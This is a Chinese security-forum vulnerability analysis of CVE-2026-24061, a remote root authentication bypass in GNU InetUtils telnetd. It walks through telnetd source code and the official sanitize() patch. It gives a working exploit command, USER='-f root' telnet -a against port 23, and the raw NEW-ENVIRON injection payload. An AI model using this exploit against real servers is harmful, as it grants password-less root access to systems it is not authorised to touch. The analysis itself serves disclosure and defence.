问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
活动
摸鱼办
搜索
登录
注册
CVE-2026-24061:GNU InetUtils Telnetd 身份验证绕过漏洞
GNU InetUtils telnetd(版本 1.9.3 至 2.7)存在高危远程认证绕过漏洞。攻击者可通过 Telnet 协议的环境变量协商机制,在连接阶段注入恶意 `USER` 环境变量(如 `USER="-f root"`),直接以指定用户身份登录,从而使攻击者无需密码即可获得 root shell,完全控制目标服务器。
漏洞描述 ==== GNU InetUtils telnetd(版本 1.9.3 至 2.7)存在高危远程认证绕过漏洞。攻击者可通过 Telnet 协议的环境变量协商机制,在连接阶段注入恶意 `USER` 环境变量(如 `USER="-f root"`)。由于 telnetd 在处理 `NEW_ENVIRON` 子选项时未对客户端提供的环境变量值进行任何安全校验,并且在启动登录进程时直接使用该变量构造 `/bin/login` 命令,导致系统执行 `login -f root`。而 `login` 的 `-f` 参数会跳过身份验证,直接以指定用户身份登录,从而使攻击者无需密码即可获得 root shell,完全控制目标服务器。  漏洞分析 ==== 攻击者执行: ```php USER='-f root' telnet -a 目标服务器IP 23 ``` `USER='-f root'`:设置恶意环境变量 `-a` 或 `--login`:告诉telnet客户端发送 `USER` 环境变量到服务器 首先进行环境变量修改 ----------  使用telnetd\_setup函数对服务器进行初始化,然后进入telnetd\_run函数开始解析用户发送的命令 首先是telnetd\_setup函数  在514行  第一处的作用是清除现有USER环境变量 第二处会进行终端类型的获取,并会触发协议处理**getterminaltype**函数  可以看到该函数在telnetd/utility.c 调到这里,对该函数进行审计 ```php int getterminaltype (char *uname, size_t len) { int retval = -1; settimer (baseline); #if defined AUTHENTICATION /* * Handle the Authentication option before we do anything else. * Distinguish the available modes by level: * * off: Authentication is forbidden. * none: Volontary authentication. * user, valid, other: Mandatory authentication only. */ if (auth_level < 0) send_wont (TELOPT_AUTHENTICATION, 1); else { if (auth_level > 0) send_do (TELOPT_AUTHENTICATION, 1); else send_will (TELOPT_AUTHENTICATION, 1); ttloop (his_will_wont_is_changing (TELOPT_AUTHENTICATION)); if (his_state_is_will (TELOPT_AUTHENTICATION)) retval = auth_wait (uname, len); } #else /* !AUTHENTICATION */ (void) uname; /* Silence warning. */ (void) len; /* Silence warning. */ #endif #ifdef ENCRYPTION send_will (TELOPT_ENCRYPT, 1); #endif /* ENCRYPTION */ send_do (TELOPT_TTYPE, 1); send_do (TELOPT_TSPEED, 1); send_do (TELOPT_XDISPLOC, 1); send_do (TELOPT_NEW_ENVIRON, 1); send_do (TELOPT_OLD_ENVIRON, 1); #ifdef ENCRYPTION ttloop (his_do_dont_is_changing (TELOPT_ENCRYPT) || his_will_wont_is_changing (TELOPT_TTYPE) || his_will_wont_is_changing (TELOPT_TSPEED) || his_will_wont_is_changing (TELOPT_XDISPLOC) || his_will_wont_is_changing (TELOPT_NEW_ENVIRON) || his_will_wont_is_changing (TELOPT_OLD_ENVIRON)); #else ttloop (his_will_wont_is_changing (TELOPT_TTYPE) || his_will_wont_is_changing (TELOPT_TSPEED) || his_will_wont_is_changing (TELOPT_XDISPLOC) || his_will_wont_is_changing (TELOPT_NEW_ENVIRON) || his_will_wont_is_changing (TELOPT_OLD_ENVIRON)); #endif #ifdef ENCRYPTION if (his_state_is_will (TELOPT_ENCRYPT)) encrypt_wait (); #endif if (his_state_is_will (TELOPT_TSPEED)) { static unsigned char sb[] = { IAC, SB, TELOPT_TSPEED, TELQUAL_SEND, IAC, SE }; net_output_datalen (sb, sizeof sb); } if (his_state_is_will (TELOPT_XDISPLOC)) { static unsigned char sb[] = { IAC, SB, TELOPT_XDISPLOC, TELQUAL_SEND, IAC, SE }; net_output_datalen (sb, sizeof sb); } if (his_state_is_will (TELOPT_NEW_ENVIRON)) { static unsigned char sb[] = { IAC, SB, TELOPT_NEW_ENVIRON, TELQUAL_SEND, IAC, SE }; net_output_datalen (sb, sizeof sb); } else if (his_state_is_will (TELOPT_OLD_ENVIRON)) { static unsigned char sb[] = { IAC, SB, TELOPT_OLD_ENVIRON, TELQUAL_SEND, IAC, SE }; net_output_datalen (sb, sizeof sb); } if (his_state_is_will (TELOPT_TTYPE)) net_output_datalen (ttytype_sbbuf, sizeof ttytype_sbbuf); if (his_state_is_will (TELOPT_TSPEED)) ttloop (sequenceIs (tspeedsubopt, baseline)); if (his_state_is_will (TELOPT_XDISPLOC)) ttloop (sequenceIs (xdisplocsubopt, baseline)); if (his_state_is_will (TELOPT_NEW_ENVIRON)) ttloop (sequenceIs (environsubopt, baseline)); if (his_state_is_will (TELOPT_OLD_ENVIRON)) ttloop (sequenceIs (oenvironsubopt, baseline)); if (his_state_is_will (TELOPT_TTYPE)) { char *first = NULL, *last = NULL; ttloop (sequenceIs (ttypesubopt, baseline)); /* * If the other side has already disabled the option, then * we have to just go with what we (might) have already gotten. */ if (his_state_is_will (TELOPT_TTYPE) && !terminaltypeok (terminaltype)) { free (first); first = xstrdup (terminaltype); for (;;) { /* Save the unknown name, and request the next name. */ free (last); last = xstrdup (terminaltype); _gettermname (); if (terminaltypeok (terminaltype)) break; if ((strcmp (last, terminaltype) == 0) || his_state_is_wont (TELOPT_TTYPE)) { /* * We've hit the end. If this is the same as * the first name, just go with it. */ if (strcmp (first, terminaltype) == 0) break; /* * Get the terminal name one more time, so that * RFC1091 compliant telnets will cycle back to * the start of the list. */ _gettermname (); if (strcmp (first, terminaltype) != 0) { free (terminaltype); terminaltype = xstrdup (first); } break; } } } free (first); free (last); } return retval; } ``` 其中  `send_do (TELOPT_XXX, 1);` 这一系列调用向远程Telnet客户端发送了一个“DO”请求,告知客户端“我希望你启用 `TELOPT_TTYPE`(终端类型)、`TELOPT_TSPEED`(终端速度)等特性” `ttloop` 函数的调用参数 `his_will_wont_is_changing(TELOPT_XXX)` 是关键。它的作用是检查远程客户端对于特定选项(如`TELOPT_TTYPE`)的“WILL”(同意)或“WONT”(拒绝)响应状态是否发生了变化。 将 `ttloop` 的参数设置为这些状态检查的逻辑“或”,意味着 `ttloop` 会**持**续循环运行,直到所有发送出去的选项请求都收到了客户的明确响应(无论是同意还是拒绝),也就是状态不再“正在变化”。 因此,`ttloop` 在此处扮演了同步等待客户端回复的角色,确保协议协商步骤正确完成后再继续。  ttloop函数的实质是循环调用io\_drain()  此时io\_drain()在utility.c,我们跳到utility.c去查看其函数内容  读取网络数据:将客户端发送来的原始字节流读入缓冲区 (`netibuf`) 然后执行telrcv()  跳到telnetd/state.c查看其内容 ```php void telrcv (void) { register int c; static int state = TS_DATA; while ((net_input_level () > 0) & !pty_buffer_is_full ()) { c = net_get_char (0); #ifdef ENCRYPTION if (decrypt_input) c = (*decrypt_input) (c); #endif /* ENCRYPTION */ switch (state) { case TS_CR: state = TS_DATA; /* Strip off \n or \0 after a \r */ if ((c == 0) || (c == '\n')) break; /* FALL THROUGH */ case TS_DATA: if (c == IAC) { state = TS_IAC; break; } /* * We now map \r\n ==> \r for pragmatic reasons. * Many client implementations send \r\n when * the user hits the CarriageReturn key. * * We USED to map \r\n ==> \n, since \r\n says * that we want to be in column 1 of the next * printable line, and \n is the standard * unix way of saying that (\r is only good * if CRMOD is set, which it normally is). */ if ((c == '\r') && his_state_is_wont (TELOPT_BINARY)) { int nc = net_get_char (1); #ifdef ENCRYPTION if (decrypt_input) nc = (*decrypt_input) (nc & 0xff); #endif /* ENCRYPTION */ /* * If we are operating in linemode, * convert to local end-of-line. */ if (linemode && net_input_level () > 0 && (('\n' == nc) || (!nc && tty_iscrnl ()))) { net_get_char (0); /* Remove from the buffer */ c = '\n'; } else { #ifdef ENCRYPTION if (decrypt_input) (*decrypt_input) (-1); #endif /* ENCRYPTION */ state = TS_CR; } } pty_output_byte (c); break; case TS_IAC: gotiac: switch (c) { /* * Send the process on the pty side an * interrupt. Do this with a NULL or * interrupt char; depending on the tty mode. */ case IP: DEBUG (debug_options, 1, printoption ("td: recv IAC", c)); send_intr (); break; case BREAK: DEBUG (debug_options, 1, printoption ("td: recv IAC", c)); send_brk (); break; /* * Are You There? */ case AYT: DEBUG (debug_options, 1, printoption ("td: recv IAC", c)); recv_ayt (); break; /* * Abort Output */ case AO: { DEBUG (debug_options, 1, printoption ("td: recv IAC", c)); ptyflush (); /* half-hearted */ init_termbuf (); if (slctab[SLC_AO].sptr && *slctab[SLC_AO].sptr != (cc_t) (_POSIX_VDISABLE)) pty_output_byte (*slctab[SLC_AO].sptr); netclear (); /* clear buffer back */ net_output_data ("%c%c", IAC, DM); set_neturg (); DEBUG (debug_options, 1, printoption ("td: send IAC", DM)); break; } /* * Erase Character and * Erase Line */ case EC: case EL: { cc_t ch; DEBUG (debug_options, 1, printoption ("td: recv IAC", c)); ptyflush (); /* half-hearted */ init_termbuf (); if (c == EC) ch = *slctab[SLC_EC].sptr; else ch = *slctab[SLC_EL].sptr; if (ch != (cc_t) (_POSIX_VDISABLE)) pty_output_byte ((unsigned char) ch); break; } /* * Check for urgent data... */ case DM: DEBUG (debug_options, 1, printoption ("td: recv IAC", c)); SYNCHing = stilloob (net); settimer (gotDM); break; /* * Begin option subnegotiation... */ case SB: state = TS_SB; SB_CLEAR (); continue; case WILL: state = TS_WILL; continue; case WONT: state = TS_WONT; continue; case DO: state = TS_DO; continue; case DONT: state = TS_DONT; continue; case EOR: if (his_state_is_will (TELOPT_EOR)) send_eof (); break; /* * Handle RFC 10xx Telnet linemode option additions * to command stream (EOF, SUSP, ABORT). */ case xEOF: send_eof (); break; case SUSP: send_susp (); break; case ABORT: send_brk (); break; case IAC: pty_output_byte (c); break; } state = TS_DATA; break; case TS_SB: if (c == IAC) state = TS_SE; else SB_ACCUM (c); break; case TS_SE: if (c != SE) { if (c != IAC) { /* * bad form of suboption negotiation. * handle it in such a way as to avoid * damage to local state. Parse * suboption buffer found so far, * then treat remaining stream as * another command sequence. */ /* for DIAGNOSTICS */ SB_ACCUM (IAC); SB_ACCUM (c); subpointer -= 2; SB_TERM (); suboption (); state = TS_IAC; goto gotiac; } SB_ACCUM (c); state = TS_SB; } else { /* for DIAGNOSTICS */ SB_ACCUM (IAC); SB_ACCUM (SE); subpointer -= 2; SB_TERM (); suboption (); /* handle sub-option */ state = TS_DATA; } break; case TS_WILL: willoption (c); state = TS_DATA; continue; case TS_WONT: wontoption (c); state = TS_DATA; continue; case TS_DO: dooption (c); state = TS_DATA; continue; case TS_DONT: dontoption (c); state = TS_DATA; continue; default: syslog (LOG_ERR, "telnetd: panic state=%d\n", state); printf ("telnetd: panic state=%d\n", state); exit (EXIT_FAILURE); } } } ``` 该函数从网络读取攻击者发送的数据并进行解析,下面是解析的过程代码 ```php case TS_DATA: if (c == IAC) { state = TS_IAC; break; } /* * We now map \r\n ==> \r for pragmatic reasons. * Many client implementations send \r\n when * the user hits the CarriageReturn key. * * We USED to map \r\n ==> \n, since \r\n says * that we want to be in column 1 of the next * printable line, and \n is the standard * unix way of saying that (\r is only good * if CRMOD is set, which it normally is). */ if ((c == '\r') && his_state_is_wont (TELOPT_BINARY)) { int nc = net_get_char (1); #ifdef ENCRYPTION if (decrypt_input) nc = (*decrypt_input) (nc & 0xff); #endif /* ENCRYPTION */ /* * If we are operating in linemode, * convert to local end-of-line. */ if (linemode && net_input_level () > 0 && (('\n' == nc) || (!nc && tty_iscrnl ()))) { net_get_char (0); /* Remove from the buffer */ c = '\n'; } else { #ifdef ENCRYPTION if (decrypt_input) (*decrypt_input) (-1); #endif /* ENCRYPTION */ state = TS_CR; } } pty_output_byte (c); break; case TS_IAC: gotiac: switch (c) { /* * Send the process on the pty side an * interrupt. Do this with a NULL or * interrupt char; depending on the tty mode. */ case IP: DEBUG (debug_options, 1, printoption ("td: recv IAC", c)); send_intr (); break; case BREAK: DEBUG (debug_options, 1, printoption ("td: recv IAC", c)); send_brk (); break; /* * Are You There? */ case AYT: DEBUG (debug_options, 1, printoption ("td: recv IAC", c)); recv_ayt (); break; /* * Abort Output */ case AO: { DEBUG (debug_options, 1, printoption ("td: recv IAC", c)); ptyflush (); /* half-hearted */ init_termbuf (); if (slctab[SLC_AO].sptr && *slctab[SLC_AO].sptr != (cc_t) (_POSIX_VDISABLE)) pty_output_byte (*slctab[SLC_AO].sptr); netclear (); /* clear buffer back */ net_output_data ("%c%c", IAC, DM); set_neturg (); DEBUG (debug_options, 1, printoption ("td: send IAC", DM)); break; } /* * Erase Character and * Erase Line */ case EC: case EL: { cc_t ch; DEBUG (debug_options, 1, printoption ("td: recv IAC", c)); ptyflush (); /* half-hearted */ init_termbuf (); if (c == EC) ch = *slctab[SLC_EC].sptr; else ch = *slctab[SLC_EL].sptr; if (ch != (cc_t) (_POSIX_VDISABLE)) pty_output_byte ((unsigned char) ch); break; } /* * Check for urgent data... */ case DM: DEBUG (debug_options, 1, printoption ("td: recv IAC", c)); SYNCHing = stilloob (net); settimer (gotDM); break; /* * Begin option subnegotiation... */ case SB: state = TS_SB; SB_CLEAR (); continue; case WILL: state = TS_WILL; continue; case WONT: state = TS_WONT; continue; case DO: state = TS_DO; continue; case DONT: state = TS_DONT; continue; case EOR: if (his_state_is_will (TELOPT_EOR)) send_eof (); break; /* * Handle RFC 10xx Telnet linemode option additions * to command stream (EOF, SUSP, ABORT). */ case xEOF: send_eof (); break; case SUSP: send_susp (); break; case ABORT: send_brk (); break; case IAC: pty_output_byte (c); break; } state = TS_DATA; break; case TS_SB: if (c == IAC) state = TS_SE; else SB_ACCUM (c); break; case TS_SE: if (c != SE) { if (c != IAC) { /* * bad form of suboption negotiation. * handle it in such a way as to avoid * damage to local state. Parse * suboption buffer found so far, * then treat remaining stream as * another command sequence. */ /* for DIAGNOSTICS */ SB_ACCUM (IAC); SB_ACCUM (c); subpointer -= 2; SB_TERM (); suboption (); state = TS_IAC; goto gotiac; } SB_ACCUM (c); state = TS_SB; } else { /* for DIAGNOSTICS */ SB_ACCUM (IAC); SB_ACCUM (SE); subpointer -= 2; SB_TERM (); suboption (); /* handle sub-option */ state = TS_DATA; } break; ``` 这里通过解析 TELNET 协议,去提取环境变量,然后进入suboption函数处理子选项 这里是漏洞的核心点  ```php case TELOPT_NEW_ENVIRON: case TELOPT_OLD_ENVIRON: { // ... (前面的协议解析代码) while (!SB_EOF()) { c = SB_GET(); // ... 解析出 varp (变量名) 和 valp (变量值) ... } *cp = '\0'; if (valp) setenv(varp, valp, 1); // <--- !!!漏洞核心触发点!!! else unsetenv(varp); break; } ``` setenv(varp, valp, 1);被无条件执行,意味着: 1. **无来源验证**:代码没有检查这个 `SEND` 指令是否应该由客户端主动发起。在Telnet协议中,通常应由服务器发送 `SEND` 来请求变量,客户端用 `IS` 回应。这里客户端却“命令”服务器设置变量,而服务器接受了。 2. **无内容过滤**:代码没有对 `valp`(即 `-f root`)的内容进行任何安全检查。它没有过滤以破折号(`-`)开头的值,而这类值正好可以被 `login` 程序解析为命令行参数。 3. **无权限检查**:代码直接设置了环境变量,特别是敏感的 `USER` 变量,而没有验证其值是否合理(例如,是否是一个合法的用户名)。 相当于攻击者发送 ```php IAC SB NEW-ENVIRON SEND VAR "USER" VALUE "-f root" IAC SE ``` 后端就会进行如下解析: ```php 1. 遇到 USERVAR → 识别为新变量开始 2. 收集 "USER" 到 varp 3. 遇到 VALUE → 切换到值收集模式 4. 收集 "-f root" 到 valp 5. 循环结束,执行:setenv("USER", "-f root", 1) ``` 从而使得环境变量被恶意设置 然后启动登录进程 --------  登录口  跳转到telnetd/pty.c进行审计 ```php void start_login (char *host, int autologin, char *name) { char *cmd; int argc; char **argv; (void) host; /* Silence warnings. Diagnostic use? */ (void) autologin; (void) name; scrub_env (); /* Set the environment variable "LINEMODE" to indicate our linemode */ if (lmodetype == REAL_LINEMODE) setenv ("LINEMODE", "real", 1); else if (lmodetype == KLUDGE_LINEMODE || lmodetype == KLUDGE_OK) setenv ("LINEMODE", "kludge", 1); cmd = expand_line (login_invocation); if (!cmd) fatal (net, "can't expand login command line"); argcv_get (cmd, "", &argc, &argv); execv (argv[0], argv); syslog (LOG_ERR, "%s: %m\n", cmd); fatalperror (net, cmd); } ``` ```php scrub_env (); ``` 清理危险环境变量  进入该函数之后可以看见,其未对USER过滤!!! ### **模板展开引擎** 得知未对USER过滤,那么攻击者构造的恶意USER就会被传入,下面是登录时对登录模板进行解析的流程  ```php // 登录模板默认配置 login_invocation = " -p -h %h %?u{-f %u}{%U}" // 当没有认证用户时(%u为空) ```  ```php cmd = expand_line (login_invocation); ```  ```php exp.cp = (char *)line; _expand_block(&exp); ``` 该函数对login\_invocation开始展开   ```php _expand_cond (exp); ``` 展开条件  1. **解析前半部分**: 模板引擎逐字复制 `-p -h` 遇到 `%h`,调用 `_expand_var(exp)`,将其展开为客户端的主机名或IP地址(例如 `192.168.1.100`)。此时中间结果为 `-p -h 192.168.1.100` 2. **进入条件块** `**%?u**`**(关键决策点)**: 遇到 `%?u`,`_expand_cond()` 被调用 `_expand_cond()` 看到 `?`,知道这是一个条件判断。它先尝试展开 `%u` `%u` 代表“已认证的用户名”。在攻击场景下,攻击者没有进行任何认证,因此 `_expand_var()` 在处理 `%u` 时返回 `NULL` 由于 `p` 为 `NULL`(`%u` 无值),`_expand_cond()` 执行 `else` 分支: `_skip_block(exp)`:跳过第一个块 `{-f %u}`。这个块本意是“如果已认证,就添加 `-f` 参数和用户名” `_expand_block(exp)`:展开第二个块 `{%U}` 3. **展开** `**{%U}**`**(恶意变量注入)**: `_expand_block()` 开始处理 `{%U}` 内的内容 遇到 `%U`,再次调用 `_expand_cond()`(此时没有 `?`,进入`else`分支) `_expand_var(exp)` 被调用以处理 `%U` `%U` 的含义是:`USER` 环境变量的值。 由于漏洞前期 `suboption()` 函数已成功设置了 `USER='-f root'`,且 `scrub_env()` 未将其清除,此时 `getenv("USER")` 返回的正是 `-f root` 因此,`%U` 被展开为字符串 `-f root`,并附加到结果中  ```php p = _var_short_name (exp); ```  4. **最终拼接**: 将所有部分拼接起来,最终的登录命令变为: `login -p -h 192.168.1.100 -f -f root`(第一个 `-f` 默认参数,第二个 `-f root` 来自注入的变量。对于 `login` 程序,`-f` 意味着“跳过密码验证”,其后的 `root` 是要登录的用户。) 官方修复 ==== #### 完全修复  **1. 修复策略:源头修复** 补丁没有仅仅修复 `USER` 变量,而是创建了一个通用的 `sanitize()` 函数,对所有可能被用于构建命令行的变量进行统一过滤。 ```php static char * sanitize (const char *u) { /* 忽略以 '-' 开头或包含Shell元字符的值,因为它们可能引发问题 */ if (u && *u != '-' && !u[strcspn (u, "\t\n !\"#$&'()*:;<=>?[\\^`{|}~")]) return u; else return ""; // 或返回空字符串 } ``` **2. 修复范围:全面覆盖** 补丁将 `sanitize()` 函数应用到了 `_var_short_name()` 函数中所有从不可信来源获取的变量 这种全面过滤的策略防止了攻击者未来可能从其他参数寻找注入点。 **3. 过滤规则:双重检查** `sanitize()` 函数执行两个关键检查: 1. 不以破折号开头 (`*u != '-'`):防止值被解释为命令行参数(如 `-f`、`--option`)。 2. 不包含Shell元字符:使用 `strcspn()` 检查是否包含空白字符和 `! \" # $ & ' ( ) * ; < = > ? [ \ ^` { | } ~` 等可能被Shell用于命令分隔、重定向或扩展的特殊字符。 #### 临时修复  ```php case 'U': { /* Ignore user names starting with '-' or containing shell metachars, as they can cause trouble. */ char const *u = getenv("USER"); return xstrdup((u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")]) ? u : ""); } ``` **修复逻辑**: 1. 检查是否以 `-` 开头:`*u != '-'` 2. 检查是否包含Shell元字符:`!u[strcspn(u, "危险字符集")]` 3. 如果检查失败,返回空字符串:`? u : ""` 参考 == <https://www.openwall.com/lists/oss-security/2026/01/20/2> <https://codeberg.org/inetutils/inetutils/commit/ccba9f748aa8d50a38d7748e2e60362edd6a32cc> <https://codeberg.org/inetutils/inetutils/commit/fd702c02497b2f398e739e3119bed0b23dd7aa7b> <https://nvd.nist.gov/vuln/detail/CVE-2026-24061>
发表于 2026-01-23 17:25:44
阅读 ( 1055 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
Werqy3
9 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!